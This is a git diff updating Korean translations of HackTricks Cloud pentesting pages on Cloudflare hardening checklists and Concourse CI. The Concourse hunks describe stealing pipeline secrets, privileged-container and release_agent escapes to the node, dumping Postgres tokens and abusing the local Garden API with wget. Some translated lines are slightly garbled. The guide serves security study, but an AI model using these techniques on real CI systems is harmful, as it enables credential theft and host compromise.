+- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 이 경로에 **속도 제한**을 추가하세요.
+- **도구**에서 IP 주소, IP 범위, 국가 또는 ASN을 **허용 목록**에 추가할 수 있습니다.
+- **관리 규칙**이 취약점 악용 방지에 도움이 될 수 있는지 확인하세요.
+- **도구** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전**을 줄 수 있습니다.
+- DDoS에서는 **일부 규칙을 재정의하여 더 제한적으로 만들 수 있습니다**.
+- **설정**: **보안 수준**을 **높음**으로 설정하고 **공격 중**인 경우 **브라우저 무결성 검사**가 활성화되어 있는지 확인하세요.
+- Cloudflare Domains -> Analytics -> Security -> **속도 제한**이 활성화되어 있는지 확인하세요.
+- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트** 확인하기
### 접근
@@ -89,7 +89,7 @@ _보안과 관련된 옵션을 찾을 수 없었습니다._
### 캐싱
-- [ ] **`Configuration`** 섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요.
+- [ ] **`구성`** 섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요.
### **워커 경로**
@@ -102,8 +102,8 @@ TODO
### 네트워크
- [ ] **`HTTP/2`**가 **활성화**되어 있다면, **`HTTP/2 to Origin`**도 **활성화**되어야 합니다.
-- [ ] **`HTTP/3 (with QUIC)`**가 **활성화**되어야 합니다.
-- **사용자**의 **프라이버시**가 중요하다면 **`Onion Routing`**이 **활성화**되어 있는지 확인하세요.
+- [ ] **`HTTP/3 (QUIC 사용)`**이 **활성화**되어야 합니다.
+- [ ] **사용자**의 **개인정보**가 중요하다면 **`온ion 라우팅`**이 **활성화**되어 있는지 확인하세요.
### **트래픽**
@@ -111,18 +111,18 @@ TODO
### 사용자 정의 페이지
-- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, rate limiting 또는 공격 중 모드).
+- [ ] 보안과 관련된 오류가 발생할 때 사용자 정의 페이지를 구성하는 것은 선택 사항입니다 (예: 차단, 속도 제한 또는 공격 중 모드).
### 앱
TODO
-### 스크랩 방지
+### 스크랩 방패
- [ ] **이메일 주소 난독화**가 **활성화**되어 있는지 확인하세요.
- [ ] **서버 측 제외**가 **활성화**되어 있는지 확인하세요.
-### **Zaraz**
+### **자라즈**
TODO
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index f90c6ce32..468095c84 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+**Cloudflare Zero Trust Network** 계정에는 구성할 수 있는 **설정 및 서비스**가 있습니다. 이 페이지에서는 각 섹션의 **보안 관련 설정**을 **분석**할 것입니다:
### Analytics
-- [ ] 유용한 **환경을 이해하기 위해**
+- [ ] 환경을 **알아가는 데 유용함**
### **Gateway**
- [ ] **`Policies`**에서 **DNS**, **네트워크** 또는 **HTTP** 요청에 따라 애플리케이션에 접근할 수 있는 사람을 **제한**하는 정책을 생성할 수 있습니다.
- 사용되는 경우, 악성 사이트에 대한 접근을 **제한**하는 정책을 생성할 수 있습니다.
-- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 사용하지 않는 경우 방어 정책을 생성할 이유가 없습니다.
+- 이는 **게이트웨이를 사용하는 경우에만 관련이 있으며**, 그렇지 않으면 방어 정책을 생성할 이유가 없습니다.
### Access
#### Applications
-On each application:
+각 애플리케이션에서:
-- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **오직** 애플리케이션에 **접근이 필요한 사용자**만 접근할 수 있는지 확인합니다.
-- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있습니다)
-- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고, 너무 **열려 있지 않은지** 확인합니다.
+- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **접근이 필요한 사용자만** 애플리케이션에 접근할 수 있도록 확인합니다.
+- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있음)
+- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고 **너무 개방적이지 않은지** 확인합니다.
- [ ] **`Settings`**에서:
-- [ ] **CORS가 활성화되어 있지 않은지** 확인합니다 (활성화되어 있다면, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다)
-- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only**와 **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다.
+- [ ] **CORS가 활성화되지 않았는지** 확인합니다 (활성화된 경우, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다).
+- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only** 및 **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다.
- [ ] 더 나은 **보호를 위해** **Browser rendering**도 활성화하는 것을 고려합니다. **자세한 정보는** [**원격 브라우저 격리 여기**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**에서 확인하세요.**
#### **Access Groups**
-- [ ] 생성된 접근 그룹이 **허용해야 할 사용자**에 **올바르게 제한**되어 있는지 확인합니다.
-- [ ] **기본 접근 그룹이 너무 열려 있지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 누구나 **애플리케이션에 접근**할 수 있습니다.
-- **EVERYONE**에게 **접근**을 허용하거나 다른 **매우 열린 정책**을 부여하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다.
+- [ ] 생성된 접근 그룹이 **사용자에게 올바르게 제한**되어 있는지 확인합니다.
+- [ ] **기본 접근 그룹이 너무 개방적이지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 모든 사람이 **애플리케이션에 접근**할 수 있습니다.
+- **모두**에게 **접근**을 허용하거나 **매우 개방적인 정책**을 설정하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다.
#### Service Auth
-- [ ] 모든 서비스 토큰이 **1년 이하**에 만료되는지 확인합니다.
+- [ ] 모든 서비스 토큰이 **1년 이하**로 만료되는지 확인합니다.
#### Tunnels
@@ -56,6 +56,6 @@ TODO
- [ ] **플랜 유형**을 확인합니다.
- [ ] **신용 카드 소유자 이름**, **마지막 4자리**, **만료** 날짜 및 **주소**를 확인할 수 있습니다.
-- 실제로 이 서비스를 사용하지 않는 사용자를 제거하기 위해 **사용자 좌석 만료**를 추가하는 것이 권장됩니다.
+- **이 서비스를 실제로 사용하지 않는** 사용자를 제거하기 위해 **User Seat Expiration**을 **추가하는 것이 권장됩니다.**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index 27558045e..f7b1305bc 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -14,7 +14,7 @@ Concourse 환경이 어떻게 구조화되어 있는지 알아보세요:
concourse-architecture.md
{{#endref}}
-## Concourse 실습
+## Concourse 실험실
자신의 테스트를 수행하기 위해 로컬에서 concourse 환경을 실행하는 방법을 알아보세요:
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index de1f298f9..346e47d61 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -14,13 +14,13 @@
ATC는 Concourse의 핵심입니다. **웹 UI 및 API**를 실행하며 모든 파이프라인 **스케줄링**을 담당합니다. **PostgreSQL**에 연결되어 파이프라인 데이터를 저장하는 데 사용합니다(빌드 로그 포함).
-[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(예: 컨테이너 및 볼륨)를 제거하는 정리 메커니즘입니다.
+[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(컨테이너 및 볼륨 등)를 제거하는 정리 메커니즘입니다.
#### TSA: 워커 등록 및 포워딩
-TSA는 **워커**를 [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **맞춤형 SSH 서버**입니다.
+TSA는 **워커**를 [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **커스텀 SSH 서버**입니다.
-TSA는 **기본적으로 포트 `2222`**에서 수신 대기하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 배치되고 로드 밸런서 뒤에 위치합니다.
+TSA는 **기본적으로 포트 `2222`에서 수신 대기**하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 colocated되어 로드 밸런서 뒤에 위치합니다.
**TSA는 SSH 연결을 통해 CLI를 구현하며,** [**이 명령어들**](https://concourse-ci.org/internals.html#component-tsa)을 지원합니다.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index dbcf61500..3c9e73a27 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,18 +4,18 @@
{{#include ../../banners/hacktricks-training.md}}
-### 사용자 역할 및 권한
+### User Roles & Permissions
Concourse는 다섯 가지 역할을 제공합니다:
-- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. 관리자는 **다른 팀을 구성**할 수 있습니다(예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다.
+- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. Admin은 **다른 팀을 구성**할 수 있습니다 (예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다.
- **owner**: 팀 소유자는 **팀 내 모든 것을 수정**할 수 있습니다.
- **member**: 팀 구성원은 **팀 자산 내에서 읽고 쓸 수** 있지만 팀 설정을 수정할 수는 없습니다.
- **pipeline-operator**: 파이프라인 운영자는 빌드를 트리거하고 리소스를 고정하는 등의 **파이프라인 작업**을 수행할 수 있지만, 파이프라인 구성을 업데이트할 수는 없습니다.
- **viewer**: 팀 뷰어는 팀과 그 파이프라인에 대해 **"읽기 전용" 접근** 권한을 가집니다.
> [!NOTE]
-> 또한, **owner, member, pipeline-operator 및 viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다**(더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요.
+> 또한, **owner, member, pipeline-operator 및 viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다** (더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요.
Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 **여러 팀**이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀 내에서 다른 권한을 가질 수 있습니다.
@@ -23,7 +23,7 @@ Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서
YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사용하여 값을 구성할 수 있습니다.\
[문서에서:] (https://concourse-ci.org/vars.html#var-syntax) **source-name은 선택 사항**이며 생략할 경우 [클러스터 전체 자격 증명 관리자](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)가 사용되거나 값이 [정적으로](https://concourse-ci.org/vars.html#static-vars) 제공될 수 있습니다.\
-**선택적 \_secret-field**는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\
+**선택적 \_secret-field**\_는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\
또한, _**secret-path**_ 및 _**secret-field**_는 `.` 및 `:`와 같은 **특수 문자를 포함**하는 경우 이중 따옴표 `"..."`로 둘러싸일 수 있습니다. 예를 들어, `((source:"my.secret"."field:1"))`는 _secret-path_를 `my.secret`로, _secret-field_를 `field:1`로 설정합니다.
#### Static Vars
@@ -34,16 +34,16 @@ YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or using the following `fly` **arguments**:
+다음 `fly` **인수**를 사용하거나:
-- `-v` or `--var` `NAME=VALUE`는 문자열 `VALUE`를 var `NAME`의 값으로 설정합니다.
-- `-y` or `--yaml-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 var `NAME`의 값으로 설정합니다.
-- `-i` or `--instance-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 var에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요.
-- `-l` or `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다.
+- `-v` 또는 `--var` `NAME=VALUE`는 문자열 `VALUE`를 var `NAME`의 값으로 설정합니다.
+- `-y` 또는 `--yaml-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 var `NAME`의 값으로 설정합니다.
+- `-i` 또는 `--instance-var` `NAME=VALUE`는 `VALUE`를 YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 var에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요.
+- `-l` 또는 `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다.
-#### Credential Management
+#### 자격 증명 관리
-파이프라인에서 **Credential Manager를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\
+파이프라인에서 **자격 증명 관리자를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\
또한, Concourse는 다양한 자격 증명 관리자를 지원합니다:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
@@ -57,13 +57,13 @@ Or using the following `fly` **arguments**:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Concourse에 **쓰기 권한**이 있는 경우, Concourse가 해당 비밀에 접근할 수 있어야 하므로 **이 비밀을 유출하는 작업을 생성할 수 있습니다**.
+> Concourse에 **쓰기 권한**이 있는 경우, **이 비밀을 유출하는 작업을 생성할 수** 있음을 유의하세요. Concourse는 이를 접근할 수 있어야 합니다.
-### Concourse Enumeration
+### Concourse 열거
-Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다.
+Concourse 환경을 열거하려면 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다.
-#### Login and Current User enum
+#### 로그인 및 현재 사용자 열거
- 로그인하려면 **엔드포인트**, **팀 이름**(기본값은 `main`) 및 **사용자가 속한 팀**을 알아야 합니다:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
@@ -75,9 +75,9 @@ Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**
- `fly -t userinfo`
> [!NOTE]
-> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되므로, 기계를 훔치는 경우 자격 증명을 거기서 찾을 수 있습니다.
+> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되므로, 기계를 훔치는 경우 자격 증명을 찾을 수 있습니다.
-#### Teams & Users
+#### 팀 및 사용자
- 팀 목록 가져오기
- `fly -t teams`
@@ -86,11 +86,11 @@ Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**
- 사용자 목록 가져오기
- `fly -t active-users`
-#### Pipelines
+#### 파이프라인
-- **파이프라인 목록**:
+- **파이프라인** 목록:
- `fly -t pipelines -a`
-- **파이프라인 yaml 가져오기** (**민감한 정보**가 정의에 있을 수 있음):
+- 파이프라인 yaml **가져오기** (**민감한 정보**가 정의에 있을 수 있음):
- `fly -t get-pipeline -p `
- 모든 파이프라인 **구성 선언된 var** 가져오기
- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
@@ -129,7 +129,7 @@ rm /tmp/secrets.txt
#### 실행 중이거나 최근에 실행된 컨테이너 내 세션
-충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `/` **컨테이너 내에서 세션을 얻을 수 있습니다**:
+충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `/` **컨테이너** 내에서 **세션을 얻을 수** 있습니다:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -137,12 +137,12 @@ fly -t tutorial intercept # To be presented a prompt with all the options
이 권한으로 다음을 수행할 수 있습니다:
- **컨테이너** 내부의 **비밀**을 **훔치기**
-- **노드**로 **탈출** 시도하기
-- **클라우드 메타데이터** 엔드포인트 열거/악용하기 (가능한 경우 포드와 노드에서)
+- **노드**로 **탈출** 시도
+- **클라우드 메타데이터** 엔드포인트 열거/악용 (가능한 경우 포드와 노드에서)
#### 파이프라인 생성/수정
-충분한 권한(**회원 역할 이상**)이 있다면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요:
+충분한 권한(**회원 역할 이상**)이 있으면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요:
```yaml
jobs:
- name: simple
@@ -166,16 +166,16 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
-새 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다:
+새로운 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다:
- **비밀**을 **훔치기** (출력하거나 컨테이너에 들어가서 `env` 실행)
-- **노드**로 **탈출**하기 (충분한 권한 부여 - `privileged: true`)
+- **노드**로 **탈출** (충분한 권한 부여 - `privileged: true`)
- **클라우드 메타데이터** 엔드포인트 열거/악용 (파드와 노드에서)
- 생성된 파이프라인 **삭제**
#### 사용자 정의 작업 실행
-이것은 이전 방법과 유사하지만 전체 새 파이프라인을 수정/생성하는 대신 **사용자 정의 작업을 실행**할 수 있습니다 (아마도 훨씬 더 **은밀할** 것입니다):
+이것은 이전 방법과 유사하지만 전체 새로운 파이프라인을 수정/생성하는 대신 **사용자 정의 작업을 실행**할 수 있습니다 (아마도 훨씬 더 **은밀할** 것입니다):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
-> 당신이 알다시피, 이것은 단순히 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로를 수정하는 것입니다.
+> 당신이 알다시피, 이것은 단순히 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로만 수정한 것입니다.
#### Worker 컨테이너에서 노드로 탈출하기
@@ -293,7 +293,7 @@ cat /output
```
#### Web 컨테이너에서 노드로 탈출하기
-웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이어서**, 컨테이너에서 탈출하는 쉬운 방법들은 무용지물입니다).
+웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이어서**, 컨테이너에서 탈출하는 쉬운 방법들은 쓸모가 없습니다).
그러나 **로컬 자격 증명을 평문으로 저장합니다**:
```bash
@@ -306,7 +306,7 @@ CONCOURSE_ADD_LOCAL_USER=test:test
```
해당 자격 증명을 사용하여 **웹 서버에 로그인**하고 **특권 컨테이너를 생성하여 노드로 탈출**할 수 있습니다.
-환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근할 수 있는 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수도 있습니다:
+환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근하기 위한 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수 있습니다:
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -327,15 +327,15 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-#### 가든 서비스 남용 - 실제 공격이 아님
+#### 가든 서비스 악용 - 실제 공격이 아님
> [!WARNING]
-> 이들은 서비스에 대한 흥미로운 메모일 뿐이지만, 로컬호스트에서만 수신 대기하므로, 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다.
+> 이 서비스에 대한 흥미로운 메모일 뿐이며, 로컬호스트에서만 수신 대기하므로 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다.
-기본적으로 각 concourse 작업자는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 작업자에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 이는 공격자에게 꽤 좋은 소리처럼 들리지만, 몇 가지 좋은 보호 장치가 있습니다:
+기본적으로 각 concourse 작업자는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 작업자에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 공격자에게는 꽤 좋은 소리지만, 몇 가지 좋은 보호 장치가 있습니다:
-- **로컬에서만 노출**되어 있으며(127..0.0.1), 작업자가 특별한 SSH 서비스로 웹에 인증할 때, 웹 서버가 각 작업자 내부의 **각 Garden 서비스**와 **통신**할 수 있도록 터널이 생성된다고 생각합니다.
-- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너**를 **실행**하려면 웹 서버와 가든 서비스 간의 **통신**을 **변조**해야 합니다.
+- **로컬에서만 노출**되어 있으며(127..0.0.1), 작업자가 특별한 SSH 서비스로 웹에 인증할 때 터널이 생성되어 웹 서버가 각 작업자 내부의 **각 Garden 서비스와 대화할 수 있습니다**.
+- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너를 실행**하려면 웹 서버와 가든 서비스 간의 **통신**을 **변조**해야 합니다.
Concourse 작업자는 높은 컨테이너 권한으로 실행됩니다:
```
@@ -348,7 +348,7 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-그러나 노드의 /dev 장치나 release_agent를 **마운트하는** 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템이 있는 실제 장치에 접근할 수 없고, 오직 가상 장치만 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다.
+그러나 노드의 /dev 장치나 release_agent를 **마운트**하는 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템을 가진 실제 장치에 접근할 수 없고, 오직 가상 장치만 접근할 수 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다.
> [!NOTE]
> 이전 섹션에서는 특권 컨테이너에서 탈출하는 방법을 보았으므로, **현재** **작업자**가 생성한 **특권 컨테이너**에서 명령을 **실행**할 수 있다면, **노드로 탈출**할 수 있습니다.
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에, 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 변조할 수 있습니다:
+그러나 웹 서버는 몇 초마다 실행 중인 컨테이너를 확인하고, 예상치 못한 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에 예상치 못한 컨테이너의 삭제를 피하기 위해 통신을 조작할 수 있습니다:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 5092cacef..7e15359ed 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -13,11 +13,11 @@
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
-`127.0.0.1:8080`에서 귀하의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다.
+당신은 웹에서 `127.0.0.1:8080`에서 자신의 OS에 맞는 명령줄 `fly`를 다운로드할 수 있습니다.
#### Kubernetes를 사용하여 (권장)
-헬름 차트를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+당신은 helm-chart를 사용하여 **Kubernetes**(예: **minikube**)에 concourse를 쉽게 배포할 수 있습니다: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA에 K8s 비밀에 접근할 수 있는 권한을 부여할 수 있습니다:
+concourse 환경을 생성한 후, 비밀을 생성하고 concourse 웹에서 실행 중인 SA가 K8s 비밀에 접근할 수 있도록 권한을 부여할 수 있습니다:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -69,25 +69,25 @@ secret: MWYyZDFlMmU2N2Rm
```
### 파이프라인 생성
-파이프라인은 [작업](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [단계](https://concourse-ci.org/steps.html)의 정렬된 목록이 포함됩니다.
+파이프라인은 [Jobs](https://concourse-ci.org/jobs.html)의 목록으로 구성되며, 여기에는 [Steps](https://concourse-ci.org/steps.html)의 순서가 있는 목록이 포함됩니다.
### 단계
-여러 가지 유형의 단계를 사용할 수 있습니다:
+여러 가지 유형의 단계가 사용될 수 있습니다:
-- **the** [**`task` 단계**](https://concourse-ci.org/task-step.html) **는** [**작업**](https://concourse-ci.org/tasks.html)을 실행합니다.
-- the [`get` 단계](https://concourse-ci.org/get-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 가져옵니다.
-- the [`put` 단계](https://concourse-ci.org/put-step.html)는 [리소스](https://concourse-ci.org/resources.html)를 업데이트합니다.
-- the [`set_pipeline` 단계](https://concourse-ci.org/set-pipeline-step.html)는 [파이프라인](https://concourse-ci.org/pipelines.html)을 구성합니다.
